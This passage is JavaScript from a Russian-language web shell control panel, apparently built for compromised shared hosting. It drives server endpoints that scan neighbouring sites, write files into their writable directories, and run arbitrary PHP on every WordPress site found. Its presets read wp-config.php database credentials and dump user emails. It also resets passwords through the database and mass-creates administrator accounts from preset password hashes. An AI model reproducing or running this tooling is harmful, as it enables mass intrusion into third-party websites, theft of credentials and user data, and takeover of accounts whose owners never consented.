    html += '<div class="flex" style="flex-wrap:wrap;gap:15px;margin-top:10px">';
    html += '<label><input type="checkbox" id="neighborUseBypass" checked> Bypass методы</label>';
    html += '<label><input type="checkbox" id="neighborUseDb" checked> DB discovery</label>';
    html += '<label><input type="checkbox" id="neighborUseSymlinks" checked> Symlinks</label>';
    html += '<label><input type="checkbox" id="neighborUseShm" checked> Shared Memory</label>';
    html += '<label><input type="checkbox" id="neighborOverwrite"> Перезаписывать</label>';
    html += '</div>';
    
    html += '</div>';
    
    html += '<div style="display:flex;gap:10px;margin-top:20px">';
    html += '<button class="btn" onclick="runNeighborScan()" style="flex:1">🔍 Только скан</button>';
    html += '<button class="btn" onclick="runNeighborDeploy(true)" style="flex:1">🧪 Dry Run</button>';
    html += '<button class="btn" onclick="runNeighborDeploy(false)" style="flex:1;background:linear-gradient(135deg,#f00,#a00);border-color:#f00">🚀 ДЕПЛОЙ!</button>';
    html += '</div>';
    
    if (lastNeighborDeployResults && lastNeighborDeployResults.stats && lastNeighborDeployResults.stats.successful_deploys > 0) {
      html += '<div style="margin-top:15px;padding-top:15px;border-top:1px solid var(--line)">';
      html += '<button class="btn" onclick="runNeighborCleanup()" style="background:#666">🗑️ Очистить последний деплой (' + lastNeighborDeployResults.stats.successful_deploys + ' файлов)</button>';
      html += '</div>';
    }
    
    openPentestModal('🎯 Neighbor Deploy', html);
  });
}

// Быстрый скан соседей
async function runNeighborScan() {
  var max = parseInt(document.getElementById('neighborMaxNeighbors').value) || 100;
  
  try {
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование соседей...</h3><div class="small muted">Используются все методы bypass</div></div>';
    openPentestModal('🔍 Neighbor Scan', loadingHtml);
    
    var response = await fetch('?api=neighbor_scan&max=' + max + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      renderNeighborResults(data.neighbor_scan, true);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

// Деплой на соседей
async function runNeighborDeploy(dryRun) {
  var markerName = document.getElementById('neighborMarkerName').value || 'marker.txt';
  var markerContent = document.getElementById('neighborMarkerContent').value || '';
  var subdir = document.getElementById('neighborSubdir').value || '';
  var maxNeighbors = parseInt(document.getElementById('neighborMaxNeighbors').value) || 500;
  var useBypass = document.getElementById('neighborUseBypass').checked;
  var useDb = document.getElementById('neighborUseDb').checked;
  var useSymlinks = document.getElementById('neighborUseSymlinks').checked;
  var useShm = document.getElementById('neighborUseShm').checked;
  var overwrite = document.getElementById('neighborOverwrite').checked;
  
  var fd = new FormData();
  fd.append('csrf', csrf);
  fd.append('marker_name', markerName);
  fd.append('marker_content', markerContent);
  fd.append('subdir', subdir);
  fd.append('max_neighbors', maxNeighbors);
  fd.append('use_bypass', useBypass ? '1' : '0');
  fd.append('use_db', useDb ? '1' : '0');
  fd.append('use_symlinks', useSymlinks ? '1' : '0');
  fd.append('use_shm', useShm ? '1' : '0');
  fd.append('overwrite', overwrite ? '1' : '0');
  fd.append('dry_run', dryRun ? '1' : '0');
  
  try {
    var action = dryRun ? 'Dry Run' : 'ДЕПЛОЙ';
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ ' + action + '...</h3><div class="small muted">Поиск соседей и ' + (dryRun ? 'проверка' : 'запись') + ' маркера</div></div>';
    openPentestModal('🎯 ' + action, loadingHtml);
    
    var response = await fetch('?api=neighbor_deploy' + dbg, { method: 'POST', body: fd });
    var data = await response.json();
    
    if (data.status === 'ok') {
      if (!dryRun) {
        lastNeighborDeployResults = data.neighbor_deploy;
      }
      renderNeighborResults(data.neighbor_deploy, false);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

// Очистка деплоя
async function runNeighborCleanup() {
  if (!lastNeighborDeployResults || !lastNeighborDeployResults.deploy_results) {
    alert('Нет данных для очистки');
    return;
  }
  
  if (!confirm('Удалить ' + lastNeighborDeployResults.stats.successful_deploys + ' деплоенных маркеров?')) {
    return;
  }
  
  var fd = new FormData();
  fd.append('csrf', csrf);
  fd.append('deploy_results', JSON.stringify(lastNeighborDeployResults.deploy_results));
  
  try {
    var response = await fetch('?api=neighbor_cleanup' + dbg, { method: 'POST', body: fd });
    var data = await response.json();
    
    if (data.status === 'ok') {
      var deleted = data.cleanup.filter(function(c) { return c.deleted; }).length;
      alert('Удалено ' + deleted + ' из ' + data.cleanup.length + ' файлов');
      lastNeighborDeployResults = null;
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
    }
  } catch (e) {
    alert('Error: ' + e.message);
  }
}

// Рендер результатов neighbor scan/deploy
function renderNeighborResults(data, scanOnly) {
  var h = [];
  
  // Stats summary
  var stats = data.stats || {};
  h.push('<div class="flex" style="flex-wrap:wrap;gap:10px;margin-bottom:20px">');
  h.push('<span class="badge">⏱️ ' + (stats.execution_time || '?') + 's</span>');
  h.push('<span class="badge">🏠 Соседей: ' + (stats.total_neighbors || 0) + '</span>');
  h.push('<span class="badge" style="background:#0a0">✍️ Writable: ' + (stats.total_writable || 0) + '</span>');
  if (!scanOnly) {
    h.push('<span class="badge" style="background:#0f0;color:#000">✅ Успешно: ' + (stats.successful_deploys || 0) + '</span>');
    h.push('<span class="badge" style="background:#f00">❌ Ошибок: ' + (stats.failed_deploys || 0) + '</span>');
  }
  h.push('</div>');
  
  // Methods used
  if (data.methods_used && data.methods_used.length > 0) {
    h.push('<details class="coll"><summary>🔧 Использованные методы (' + data.methods_used.length + ')</summary><div>');
    h.push('<div class="small" style="display:flex;flex-wrap:wrap;gap:8px">');
    data.methods_used.forEach(function(m) {
      h.push('<span class="badge">' + m + '</span>');
    });
    h.push('</div></div></details>');
  }
  
  // Method errors
  if (data.method_errors && data.method_errors.length > 0) {
    h.push('<details class="coll"><summary style="color:#fa0">⚠️ Ошибки методов (' + data.method_errors.length + ')</summary><div>');
    h.push('<table><tr><th>Метод</th><th>Ошибка</th></tr>');
    data.method_errors.forEach(function(e) {
      h.push('<tr>');
      h.push('<td><span class="badge small">' + e.method + '</span></td>');
      h.push('<td class="small" style="color:#fa0">' + e.error + '</td>');
      h.push('</tr>');
    });
    h.push('</table>');
    h.push('<p class="small muted" style="margin-top:8px">Ошибки не прервали работу других методов. Сканирование продолжилось.</p>');
    h.push('</div></details>');
  }
  
  // Neighbors found
  if (data.neighbors_found && data.neighbors_found.length > 0) {
    h.push('<details class="coll" open><summary>🏠 Найденные соседи (' + data.neighbors_found.length + ')</summary><div>');
    h.push('<table><tr><th>Домен</th><th>Путь</th><th>Источник</th><th>WP</th><th>User</th></tr>');
    data.neighbors_found.slice(0, 100).forEach(function(n) {
      var domainLink = n.domain ? 
        '<a href="' + (n.protocol || 'http') + '://' + n.domain + '/" target="_blank" style="color:#0af">' + n.domain + '</a>' : 
        '<span class="muted">—</span>';
      h.push('<tr>');
      h.push('<td>' + domainLink + (n.domain_method ? ' <span class="badge small">' + n.domain_method + '</span>' : '') + '</td>');
      h.push('<td><code class="small">' + n.path + '</code></td>');
      h.push('<td><span class="badge small">' + n.source + '</span></td>');
      h.push('<td>' + (n.is_wp ? '✅' + (n.wp_version ? ' <span class="small muted">' + n.wp_version + '</span>' : '') : '-') + '</td>');
      h.push('<td>' + (n.user || '-') + '</td>');
      h.push('</tr>');
    });
    if (data.neighbors_found.length > 100) {
      h.push('<tr><td colspan="5" class="small muted">... и ещё ' + (data.neighbors_found.length - 100) + '</td></tr>');
    }
    h.push('</table></div></details>');
  }
  
  // Writable paths
  if (data.writable_paths && data.writable_paths.length > 0) {
    h.push('<details class="coll" open><summary style="color:#0f0">✍️ Writable пути (' + data.writable_paths.length + ')</summary><div>');
    h.push('<table><tr><th>Домен</th><th>Путь</th><th>Источник</th><th>WP-content</th></tr>');
    data.writable_paths.slice(0, 100).forEach(function(w) {
      var domainLink = w.domain ? 
        '<a href="' + (w.protocol || 'http') + '://' + w.domain + '/" target="_blank" style="color:#0af">' + w.domain + '</a>' : 
        '<span class="muted">—</span>';
      h.push('<tr>');
      h.push('<td>' + domainLink + '</td>');
      h.push('<td><code class="small">' + w.path + '</code></td>');
      h.push('<td><span class="badge small">' + w.source + '</span></td>');
      h.push('<td>' + (w.is_wp_content ? '✅' : '-') + '</td>');
      h.push('</tr>');
    });
    if (data.writable_paths.length > 100) {
      h.push('<tr><td colspan="4" class="small muted">... и ещё ' + (data.writable_paths.length - 100) + '</td></tr>');
    }
    h.push('</table></div></details>');
  }
  
  // Deploy results
  if (!scanOnly && data.deploy_results && data.deploy_results.length > 0) {
    var successDeploys = data.deploy_results.filter(function(d) { return d.status === 'success' || d.status === 'dry_run'; });
    var failedDeploys = data.deploy_results.filter(function(d) { return d.status === 'failed'; });
    
    if (successDeploys.length > 0) {
      h.push('<details class="coll" open><summary style="color:#0f0">✅ Успешные деплои (' + successDeploys.length + ')</summary><div>');
      h.push('<table><tr><th>Домен</th><th>URL маркера</th><th>Путь</th><th>Метод</th></tr>');
      successDeploys.slice(0, 50).forEach(function(d) {
        var isDry = d.status === 'dry_run';
        var domainDisplay = d.domain ? '<strong style="color:#0af">' + d.domain + '</strong>' : '<span class="muted">—</span>';
        var urlDisplay = d.url ? 
          '<a href="' + d.url + '" target="_blank" style="color:#0f0;font-weight:bold;text-decoration:underline">🔗 ' + d.url + '</a>' + 
          (isDry ? ' <span class="badge small" style="background:#fa0;color:#000">DRY RUN</span>' : '') :
          (d.relative_url ? '<code>' + d.relative_url + '</code> <span class="muted small">(домен неизвестен)</span>' : '<span class="muted">—</span>');
        h.push('<tr>');
        h.push('<td>' + domainDisplay + '</td>');
        h.push('<td>' + urlDisplay + '</td>');
        h.push('<td><code class="small">' + d.target + '</code></td>');
        h.push('<td><span class="badge small">' + (d.url_method || d.source || '-') + '</span></td>');
        h.push('</tr>');
      });
      if (successDeploys.length > 50) {
        h.push('<tr><td colspan="4" class="small muted">... и ещё ' + (successDeploys.length - 50) + '</td></tr>');
      }
      h.push('</table>');
      
      // Добавляем копируемый список URL
      var allUrls = successDeploys.filter(function(d) { return d.url; }).map(function(d) { return d.url; });
      if (allUrls.length > 0) {
        h.push('<details style="margin-top:10px"><summary class="small">📋 Копировать все URL (' + allUrls.length + ')</summary>');
        h.push('<textarea style="width:100%;height:150px;margin-top:5px;font-family:monospace;font-size:11px;background:#1a1a1a;color:#0f0;border:1px solid #333" readonly>' + allUrls.join('\\n') + '</textarea>');
        h.push('<button class="btn small" onclick="navigator.clipboard.writeText(this.previousElementSibling.value).then(function(){alert(\'Скопировано!\')})" style="margin-top:5px">📋 Copy to clipboard</button>');
        h.push('</details>');
      }
      
      h.push('</div></details>');
    }
    
    if (failedDeploys.length > 0) {
      h.push('<details class="coll"><summary style="color:#f00">❌ Ошибки (' + failedDeploys.length + ')</summary><div>');
      h.push('<table><tr><th>Домен</th><th>Цель</th><th>Ошибка</th></tr>');
      failedDeploys.slice(0, 20).forEach(function(d) {
        h.push('<tr>');
        h.push('<td>' + (d.domain || '<span class="muted">—</span>') + '</td>');
        h.push('<td><code class="small">' + d.target + '</code></td>');
        h.push('<td class="small">' + (d.error || d.reason || '-') + '</td>');
        h.push('</tr>');
      });
      if (failedDeploys.length > 20) {
        h.push('<tr><td colspan="3" class="small muted">... и ещё ' + (failedDeploys.length - 20) + '</td></tr>');
      }
      h.push('</table></div></details>');
    }
  }
  
  // Action buttons
  h.push('<div style="display:flex;gap:10px;margin-top:20px;padding-top:15px;border-top:1px solid var(--line)">');
  h.push('<button class="btn" onclick="document.getElementById(\'btnNeighborDeploy\').click()">← Назад</button>');
  if (data.deploy_results && stats.successful_deploys > 0) {
    h.push('<button class="btn" onclick="runNeighborCleanup()">🗑️ Удалить деплоенные файлы</button>');
  }
  h.push('</div>');
  
  openPentestModal('🎯 Neighbor ' + (scanOnly ? 'Scan' : 'Deploy') + ' Results', h.join(''));
}

// ==================== НОВЫЕ ФУНКЦИИ ИЗ "Что нужно внедрить.txt" ====================

// Сканирование панелей управления
async function scanPanels() {
  try {
    openPentestModal('🔍 Hosting Panel Detection', '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование...</h3></div>');
    var response = await fetch('?api=scan_panels' + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var h = [];
      h.push('<div class="flex" style="margin-bottom:15px"><span class="badge">Найдено панелей: ' + data.count + '</span></div>');
      
      if (data.panels && data.panels.length > 0) {
        h.push('<table><thead><tr><th>URL</th><th>Тип</th><th>HTTP</th><th>Форма входа</th></tr></thead><tbody>');
        data.panels.forEach(function(p) {
          var typeColor = p.type !== 'unknown' ? 'color:#0f0' : 'color:#fa0';
          h.push('<tr>');
          h.push('<td><a href="' + p.url + '" target="_blank" style="color:#0af">' + p.url + '</a></td>');
          h.push('<td style="' + typeColor + '">' + p.type + '</td>');
          h.push('<td>' + p.http_code + '</td>');
          h.push('<td>' + (p.has_login_form ? '✅ Да' : '❌ Нет') + '</td>');
          h.push('</tr>');
        });
        h.push('</tbody></table>');
      } else {
        h.push('<div class="muted">Панели управления не обнаружены</div>');
      }
      
      openPentestModal('🔍 Hosting Panel Detection', h.join(''));
    } else {
      openPentestModal('🔍 Hosting Panel Detection', '<div style="color:#f00">Ошибка: ' + (data.message || 'Unknown') + '</div>');
    }
  } catch(e) {
    openPentestModal('🔍 Hosting Panel Detection', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
  }
}

// Поиск страниц авторизации
async function scanLogins() {
  try {
    var url = prompt('Введите URL для сканирования:', window.location.origin);
    if (!url) return;
    
    openPentestModal('🔑 Login Page Scanner', '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование...</h3></div>');
    
    var fd = new FormData();
    fd.append('url', url);
    
    var response = await fetch('?api=find_logins' + dbg, { method: 'POST', body: fd });
    var data = await response.json();
    
    if (data.status === 'ok') {
      var h = [];
      h.push('<div class="flex" style="margin-bottom:15px">');
      h.push('<span class="badge">URL: ' + data.url + '</span>');
      h.push('<span class="badge">Найдено: ' + data.logins.length + '</span>');
      h.push('</div>');
      
      if (data.logins && data.logins.length > 0) {
        h.push('<table><thead><tr><th>URL</th><th>Тип</th><th>Детали</th></tr></thead><tbody>');
        data.logins.forEach(function(l) {
          h.push('<tr>');
          h.push('<td><a href="' + l.url + '" target="_blank" style="color:#0af">' + l.url + '</a></td>');
          h.push('<td><span class="badge">' + (l.details.type || 'Unknown') + '</span></td>');
          h.push('<td class="small">' + JSON.stringify(l.details).substring(0, 100) + '</td>');
          h.push('</tr>');
        });
        h.push('</tbody></table>');
      } else {
        h.push('<div class="muted">Страницы авторизации не найдены</div>');
      }
      
      openPentestModal('🔑 Login Page Scanner', h.join(''));
    } else {
      openPentestModal('🔑 Login Page Scanner', '<div style="color:#f00">Ошибка: ' + (data.message || 'Unknown') + '</div>');
    }
  } catch(e) {
    openPentestModal('🔑 Login Page Scanner', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
  }
}

// Расширенное обнаружение доменов
async function discoverDomains() {
  try {
    openPentestModal('🌐 Mass Domain Discovery', '<div style="text-align:center;padding:50px"><h3>⏳ Обнаружение доменов...</h3></div>');
    
    var response = await fetch('?api=mass_discover' + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var h = [];
      h.push('<div class="flex" style="margin-bottom:15px"><span class="badge">Найдено доменов: ' + data.count + '</span></div>');
      
      if (data.domains && data.domains.length > 0) {
        h.push('<div style="max-height:500px;overflow-y:auto">');
        h.push('<table><thead><tr><th>#</th><th>Домен</th><th>Действия</th></tr></thead><tbody>');
        data.domains.forEach(function(d, i) {
          h.push('<tr>');
          h.push('<td>' + (i+1) + '</td>');
          h.push('<td><a href="http://' + d + '" target="_blank" style="color:#0af">' + d + '</a></td>');
          h.push('<td><button class="btn small" onclick="checkDomainUrl(\'' + d + '\')">🔗 Check</button></td>');
          h.push('</tr>');
        });
        h.push('</tbody></table></div>');
        
        h.push('<details style="margin-top:15px"><summary class="small">📋 Копировать список</summary>');
        h.push('<textarea style="width:100%;height:150px;margin-top:5px;font-family:monospace;font-size:11px;background:#1a1a1a;color:#0f0" readonly>' + data.domains.join('\\n') + '</textarea>');
        h.push('<button class="btn small" onclick="navigator.clipboard.writeText(this.previousElementSibling.value).then(function(){alert(\'Скопировано!\')})" style="margin-top:5px">📋 Copy</button>');
        h.push('</details>');
      } else {
        h.push('<div class="muted">Домены не обнаружены</div>');
      }
      
      openPentestModal('🌐 Mass Domain Discovery', h.join(''));
    } else {
      openPentestModal('🌐 Mass Domain Discovery', '<div style="color:#f00">Ошибка: ' + (data.message || 'Unknown') + '</div>');
    }
  } catch(e) {
    openPentestModal('🌐 Mass Domain Discovery', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
  }
}

function checkDomainUrl(domain) {
  window.open('http://' + domain, '_blank');
}

// Массовое выполнение скрипта на всех WP сайтах
async function massExecute() {
  try {
    var h = [];
    h.push('<div style="padding:10px">');
    h.push('<h4>⚡ Массовое выполнение PHP на всех WordPress сайтах</h4>');
    h.push('<div class="muted small" style="margin-bottom:15px">Код будет выполнен на каждом найденном WP сайте через временный файл</div>');
    
    h.push('<label>PHP код для выполнения (БЕЗ &lt;?php):</label>');
    h.push('<textarea id="massExecCode" style="width:100%;height:200px;font-family:monospace;font-size:12px;background:#0a0a0a;color:#0f0;border:1px solid #333" placeholder="echo \'Hello from \' . $_SERVER[\'HTTP_HOST\'];">echo "Site: " . $_SERVER[\'HTTP_HOST\'] . "\\n";\necho "Path: " . __DIR__ . "\\n";\necho "PHP: " . PHP_VERSION;</textarea>');
    
    h.push('<label style="margin-top:10px">Таймаут (секунды):</label>');
    h.push('<input type="number" id="massExecTimeout" value="10" min="5" max="60" style="width:100px">');
    
    h.push('<fieldset style="margin-top:15px;border:1px solid var(--line);padding:10px;border-radius:8px">');
    h.push('<legend style="color:#0f0">📝 Примеры кода</legend>');
    h.push('<div style="display:flex;gap:8px;flex-wrap:wrap">');
    h.push('<button class="btn small" onclick="setExecPreset(\'info\')" style="background:#050">📋 Инфо о сервере</button>');
    h.push('<button class="btn small" onclick="setExecPreset(\'users\')" style="background:#050">👥 Список юзеров WP</button>');
    h.push('<button class="btn small" onclick="setExecPreset(\'plugins\')" style="background:#050">🔌 Активные плагины</button>');
    h.push('<button class="btn small" onclick="setExecPreset(\'config\')" style="background:#050">⚙️ DB Config</button>');
    h.push('<button class="btn small" onclick="setExecPreset(\'version\')" style="background:#050">📌 WP Version</button>');
    h.push('<button class="btn small" onclick="setExecPreset(\'dirs\')" style="background:#050">📁 Директории</button>');
    h.push('</div>');
    h.push('</fieldset>');
    
    h.push('<div style="margin-top:15px;padding:10px;background:#1a0a0a;border:1px solid #500;border-radius:8px">');
    h.push('<div style="color:#f00;font-weight:bold">⚠️ ВНИМАНИЕ!</div>');
    h.push('<div class="small" style="color:#fa0">Код будет выполнен на ВСЕХ найденных WordPress сайтах!</div>');
    h.push('</div>');
    
    h.push('<div style="margin-top:15px;display:flex;gap:10px">');
    h.push('<button class="btn" onclick="runMassPhpExec()" style="background:#f50;border-color:#f50">⚡ Выполнить на всех</button>');
    h.push('<button class="btn" onclick="closePentestModal()">Отмена</button>');
    h.push('</div>');
    h.push('</div>');
    
    openPentestModal('⚡ Mass PHP Execution', h.join(''));
  } catch(e) {
    alert('Error: ' + e.message);
  }
}

function setExecPreset(type) {
  var code = '';
  switch(type) {
    case 'info':
      code = 'echo "Host: " . $_SERVER[\'HTTP_HOST\'] . "\\n";\necho "Path: " . __DIR__ . "\\n";\necho "PHP: " . PHP_VERSION . "\\n";\necho "Server: " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\n";\necho "User: " . get_current_user();';
      break;
    case 'users':
      code = 'require_once(__DIR__ . "/wp-load.php");\nglobal $wpdb;\n$users = $wpdb->get_results("SELECT ID, user_login, user_email, display_name FROM {$wpdb->users} LIMIT 20");\nforeach($users as $u) {\n  echo $u->ID . " | " . $u->user_login . " | " . $u->user_email . "\\n";\n}';
      break;
    case 'plugins':
      code = 'require_once(__DIR__ . "/wp-load.php");\n$plugins = get_option("active_plugins");\necho "Active plugins:\\n";\nforeach($plugins as $p) {\n  echo "- " . $p . "\\n";\n}';
      break;
    case 'config':
      code = "if(file_exists(__DIR__.\"/wp-config.php\")) {\n  $c = file_get_contents(__DIR__.\"/wp-config.php\");\n  preg_match_all(\"/define\\\\(['\\\"](DB_[^'\\\"]*)['\\\"],\\\\s*['\\\"]([^'\\\"]*)['\\\"]\\\\)/\", $c, $m);\n  for($i=0; $i<count($m[1]); $i++) {\n    echo $m[1][$i] . \" = \" . $m[2][$i] . \"\\n\";\n  }\n}";
      break;
    case 'version':
      code = 'require_once(__DIR__ . "/wp-includes/version.php");\necho "WordPress: " . $wp_version . "\\n";\necho "DB Version: " . $wp_db_version . "\\n";\necho "Site URL: " . get_option("siteurl");';
      break;
    case 'dirs':
      code = 'echo "Root: " . __DIR__ . "\\n";\necho "wp-content: " . (is_dir(__DIR__."/wp-content") ? "exists" : "no") . "\\n";\necho "uploads: " . (is_dir(__DIR__."/wp-content/uploads") ? "exists" : "no") . "\\n";\necho "plugins: " . (is_dir(__DIR__."/wp-content/plugins") ? "exists" : "no") . "\\n";\necho "themes: " . (is_dir(__DIR__."/wp-content/themes") ? "exists" : "no");';
      break;
  }
  document.getElementById('massExecCode').value = code;
}

async function runMassPhpExec() {
  try {
    var code = document.getElementById('massExecCode').value.trim();
    var timeout = parseInt(document.getElementById('massExecTimeout').value) || 10;
    
    if (!code) {
      alert('Введите PHP код для выполнения');
      return;
    }
    
    if (!confirm('Вы уверены, что хотите выполнить этот код на ВСЕХ найденных WordPress сайтах?')) {
      return;
    }
    
    openPentestModal('⚡ Mass PHP Execution', '<div style="text-align:center;padding:50px"><h3>⏳ Выполнение...</h3><div class="small muted">Поиск WordPress сайтов и выполнение кода</div><div class="small muted" style="margin-top:10px">Это может занять несколько минут...</div></div>');
    
    var fd = new FormData();
    fd.append('csrf', csrf);
    fd.append('code', code);
    fd.append('timeout', timeout);
    
    var response = await fetch('?api=mass_php_exec' + dbg, { method: 'POST', body: fd });
    var data = await response.json();
    
    if (data.status === 'ok') {
      renderMassExecResults(data.results);
    } else {
      openPentestModal('⚡ Mass PHP Execution', '<div style="color:#f00;padding:20px">Ошибка: ' + (data.message || 'Unknown') + '</div>');
    }
  } catch(e) {
    openPentestModal('⚡ Mass PHP Execution', '<div style="color:#f00;padding:20px">Ошибка: ' + e.message + '</div>');
  }
}

function renderMassExecResults(results) {
  var h = [];
  
  h.push('<div class="flex" style="margin-bottom:15px;flex-wrap:wrap;gap:10px">');
  h.push('<span class="badge">Всего сайтов: ' + results.total + '</span>');
  h.push('<span class="badge" style="background:#0a0">✅ Успешно: ' + results.success_count + '</span>');
  h.push('<span class="badge" style="background:#a00">❌ Ошибок: ' + results.failed_count + '</span>');
  h.push('</div>');
  
  if (results.success_count > 0) {
    h.push('<details class="coll" open><summary style="color:#0f0">✅ Успешно выполнено (' + results.success_count + ')</summary><div>');
    
    results.sites.filter(function(s) { return s.success; }).forEach(function(s, idx) {
      h.push('<div style="margin-bottom:15px;padding:10px;background:#0a0a0a;border:1px solid #333;border-radius:8px">');
      h.push('<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px">');
      h.push('<strong style="color:#0af">' + (s.domain || 'Unknown') + '</strong>');
      if (s.url) {
        h.push('<a href="' + s.url + '" target="_blank" class="btn small">🔗 Open</a>');
      }
      h.push('</div>');
      h.push('<div class="small muted" style="margin-bottom:5px">Path: ' + s.path + '</div>');
      h.push('<div style="background:#000;padding:10px;border-radius:4px;font-family:monospace;font-size:11px;white-space:pre-wrap;max-height:200px;overflow-y:auto;color:#0f0">' + escapeHtml(s.output || '(empty output)') + '</div>');
      h.push('<button class="btn small" style="margin-top:5px" onclick="navigator.clipboard.writeText(' + JSON.stringify(s.output || '') + ').then(function(){alert(\'Скопировано!\')})">📋 Copy output</button>');
      h.push('</div>');
    });
    
    h.push('</div></details>');
  }
  
  if (results.failed_count > 0) {
    h.push('<details class="coll"><summary style="color:#f00">❌ Ошибки (' + results.failed_count + ')</summary><div>');
    h.push('<table><thead><tr><th>Домен/Путь</th><th>Ошибка</th></tr></thead><tbody>');
    
    results.sites.filter(function(s) { return !s.success; }).forEach(function(s) {
      h.push('<tr>');
      h.push('<td>' + (s.domain || '<span class="muted">—</span>') + '<br><code class="small">' + s.path + '</code></td>');
      h.push('<td style="color:#fa0">' + (s.error || 'Unknown error') + '</td>');
      h.push('</tr>');
    });
    h.push('</tbody></table></div></details>');
  }
  
  h.push('<div style="margin-top:20px;padding-top:15px;border-top:1px solid var(--line)">');
  h.push('<button class="btn" onclick="massExecute()">← Назад</button>');
  h.push('<button class="btn" onclick="closePentestModal()" style="margin-left:10px">Закрыть</button>');
  h.push('</div>');
  
  openPentestModal('⚡ Mass PHP Execution - Результаты', h.join(''));
}

function escapeHtml(text) {
  var div = document.createElement('div');
  div.textContent = text;
  return div.innerHTML;
}

// Смена пароля через БД
async function changePassword() {
  try {
    var h = [];
    h.push('<div style="padding:10px">');
    h.push('<h4>🔐 Смена пароля через базу данных</h4>');
    h.push('<div class="muted small" style="margin-bottom:15px;color:#f00">ВНИМАНИЕ: Требуется доступ к БД сайта!</div>');
    
    h.push('<label>Путь к WordPress (wp-config.php):</label>');
    h.push('<input type="text" id="chgPassTarget" placeholder="/var/www/site/public_html" style="width:100%">');
    
    h.push('<label style="margin-top:10px">Имя пользователя или email:</label>');
    h.push('<input type="text" id="chgPassUsername" placeholder="admin" style="width:100%">');
    
    h.push('<label style="margin-top:10px">Новый пароль:</label>');
    h.push('<input type="text" id="chgPassNewPass" placeholder="NewPassword123!" style="width:100%">');
    
    h.push('<div style="margin-top:15px;display:flex;gap:10px">');
    h.push('<button class="btn" onclick="runChangePassword()" style="background:#a00;border-color:#a00">🔐 Сменить пароль</button>');
    h.push('<button class="btn" onclick="closePentestModal()">Отмена</button>');
    h.push('</div>');
    h.push('</div>');
    
    openPentestModal('🔐 Change Password', h.join(''));
  } catch(e) {
    alert('Error: ' + e.message);
  }
}

async function runChangePassword() {
  try {
    var target = document.getElementById('chgPassTarget').value.trim();
    var username = document.getElementById('chgPassUsername').value.trim();
    var newPassword = document.getElementById('chgPassNewPass').value.trim();
    
    if (!target || !username || !newPassword) {
      alert('Заполните все поля');
      return;
    }
    
    if (!confirm('Сменить пароль для пользователя "' + username + '"?')) {
      return;
    }
    
    openPentestModal('🔐 Change Password', '<div style="text-align:center;padding:50px"><h3>⏳ Смена пароля...</h3></div>');
    
    var fd = new FormData();
    fd.append('csrf', csrf);
    fd.append('target', target);
    fd.append('username', username);
    fd.append('new_password', newPassword);
    
    var response = await fetch('?api=change_password' + dbg, { method: 'POST', body: fd });
    var data = await response.json();
    
    var h = [];
    if (data.success) {
      h.push('<div style="text-align:center;padding:30px">');
      h.push('<h3 style="color:#0f0">✅ Пароль успешно изменён!</h3>');
      h.push('<div style="margin-top:15px">');
      h.push('<div><strong>Пользователь:</strong> ' + username + '</div>');
      h.push('<div><strong>Новый пароль:</strong> <code style="background:#0a0a0a;padding:5px">' + data.new_password + '</code></div>');
      h.push('</div></div>');
    } else {
      h.push('<div style="text-align:center;padding:30px">');
      h.push('<h3 style="color:#f00">❌ Ошибка</h3>');
      h.push('<div style="margin-top:15px;color:#fa0">' + (data.error || data.message || 'Unknown error') + '</div>');
      h.push('</div>');
    }
    
    openPentestModal('🔐 Change Password', h.join(''));
  } catch(e) {
    openPentestModal('🔐 Change Password', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
  }
}

// Массовое создание админов
async function massCreateAdmin() {
  try {
    var h = [];
    h.push('<div style="padding:10px">');
    h.push('<h4>👤 Массовое создание админов на всех WordPress сайтах</h4>');
    h.push('<div class="muted small" style="margin-bottom:15px">Будет создан новый администратор на всех найденных WP сайтах</div>');
    
    h.push('<label>Логин администратора:</label>');
    h.push('<input type="text" id="massAdminLogin" value="cmseditor" style="width:100%" placeholder="cmseditor">');
    
    h.push('<label style="margin-top:10px">Хэш пароля (WordPress phpass формат $P$B...):</label>');
    h.push('<input type="text" id="massAdminPasswordHash" value="$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/" style="width:100%;font-family:monospace;font-size:11px" placeholder="$P$B...">');
    h.push('<div class="small muted">Хэш должен начинаться с $P$B (WordPress phpass)</div>');
    
    h.push('<label style="margin-top:10px">Пароль (plaintext для отображения):</label>');
    h.push('<input type="text" id="massAdminPasswordDisplay" value="cmseditor" style="width:100%" placeholder="plaintext пароль">');
    h.push('<div class="small muted">Этот пароль будет показан в результатах для входа</div>');
    
    h.push('<label style="margin-top:10px">Email (опционально):</label>');
    h.push('<input type="text" id="massAdminEmail" placeholder="admin@example.com (авто-генерируется если пусто)" style="width:100%">');
    
    h.push('<fieldset style="margin-top:15px;border:1px solid var(--line);padding:10px;border-radius:8px">');
    h.push('<legend style="color:#0f0">✅ Предустановленные пресеты (проверенные хэши)</legend>');
    h.push('<div style="display:flex;gap:8px;flex-wrap:wrap">');
    // Пресеты с готовыми хэшами
    h.push('<button class="btn small" onclick="setAdminPreset(\'cmseditor\', \'$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/\', \'cmseditor\')" style="background:#050">cmseditor</button>');
    h.push('<button class="btn small" onclick="setAdminPreset(\'developer\', \'$P$BgP1gOjz9ZQmyKwb8jjqmNrGgL9EKd/\', \'developer\')" style="background:#050">developer</button>');
